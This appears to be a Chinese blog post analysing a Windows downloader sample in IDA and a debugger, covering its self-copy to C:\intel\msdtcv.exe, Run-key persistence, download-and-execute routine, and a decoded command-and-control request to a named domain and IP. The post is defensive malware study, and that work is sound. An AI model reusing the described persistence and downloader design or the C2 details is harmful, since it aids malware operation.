郑重声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,如果您不同意请关闭该页面!任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!

前言

开个新坑,学习下样本分析看看有什么好的免杀技术能够让我整合的,第一篇文章就参考Crazyman师傅写文章的和网上各个沙箱的已有的内容

image-20210519180644203

样本

文件类型 PE32 executable (console) Intel 80386, for MS Windows
文件大小 31KB
MD5 8d42c01180be7588a2a68ad96dd0cf85
SHA1 89a7861acb7983ad712ae9206131c96454a1b3d8
SHA256 0b2a794bac4bf650b6ba537137504162520b67266449be979679afbb14e8e5c0
时间戳 0x5C32FC2B (Mon Jan 07 15:13:47 2019)
PDB c:\Users\Asterix\Documents\Visual Studio 2008\Projects\28NovDwn\Release\28NovDwn.pdb
数据 样本和IDA数据库下载

沙箱数据

开始分析

先在前面放几个经常用到的文档和x64gdb相关插件

本文对样本静态和动态同步分析,样本拿来先丢到pestudio中看下数据,结果在里面看到了PDB的路径

image-20210518154946052

接着丢IDA中分析,首先找到WinMain函数,可以看到第9行有一个自定义函数sub_401140

image-20210518170332795

进入函数sub_401140可以看到就是一个注册窗口相关的,该函数第7行的sub_4011D0是用来处理窗口的

image-20210518170458445

sub_4011D0内容如下

image-20210518171307047

接着我们回到WinMain函数,从第9行到第17行的内容看截图的注释就能明白了,我们重点看sub_401330函数,进入函数中看到281行和282行创建了c:\\intel\\路径

image-20210519171938860

接着往下看

image-20210519172132691

在332行中有个sub_403B00函数,函数大概的意思就是还是创建一个文件夹,下图是该函数的有用的内容

image-20210519094603305

339行的sub_401F00是一个注册列表函数,我们进到函数里面中分析

image-20210519151517317

接着动态调试到这个点时,看注册列表内容

image-20210519160539252

我们回到调用函数中继续跟

image-20210523160455000

接着到355行可以看到下图的动态调试结果,是打开了开机运行值中

image-20210521173911417

然后356行创建了一个多线程,运行的函数为StartAddress ,我们进入到该函数中查看,函数内容如下图

image-20210523154624779

可以看到是想从系统环境变量模块中获取到ComSpec的值,我们动态调试解出来是为C:\\WINDOWS\\system32\\cmd.exe

image-20210523152111955

然后我们找一台正常的机器来看看是否是都是这个值

image-20210523152003130

接着调试,可以看到其实是做了一个copy自身到C:\\intel\\msdtcv.exe位置,下图可以看到内容结果

image-20210521174629776

我们接着看到火绒剑,可以看到CMD进行读写操作

image-20210523155647085

然后我们接着跟进到360行的sub_404670中,可以看到就这写入开机启动项

image-20210523162935781

image-20210523163026875

接着往下看366行开始到412行都是获取系统相关内容

image-20210523170708184

接着跟到469行sub_402BA0函数为下载核心函数,由于服务器已经关了,无法动态分析,大概的内容就是下载函数到C:\Users\ascotbe\AppData\Local\Microsoft\Windows目录然后执行该函数

image-20210523171312548

由于不能分析返回以后的功能,那么我们回到423行,进入函数sub_402890分析请求了什么东西

image-20210523171517787

动态调试可以看到下图,微步获取到的ip为162.222.215.90和我获取到的不同,该进程应该是有个IP池(猜测),如果获取不到,就会换一个IP来请求

image-20210523165338427

image-20210523172312854

通过解码得到如下内容

GET /ourtyaz/qwe.php?TIe=4fc5fce9.8958.5:68.b76:.df147:ee9526*EFTLUPQ.V:OIKG8*22ACme;!7/3/:311! HTTP/1.1
Host: frameworksupport.net
Connection: close

那么分析就结束了,踩了好多坑,但是学到了挺多的东西很开心~

image-20210523172602903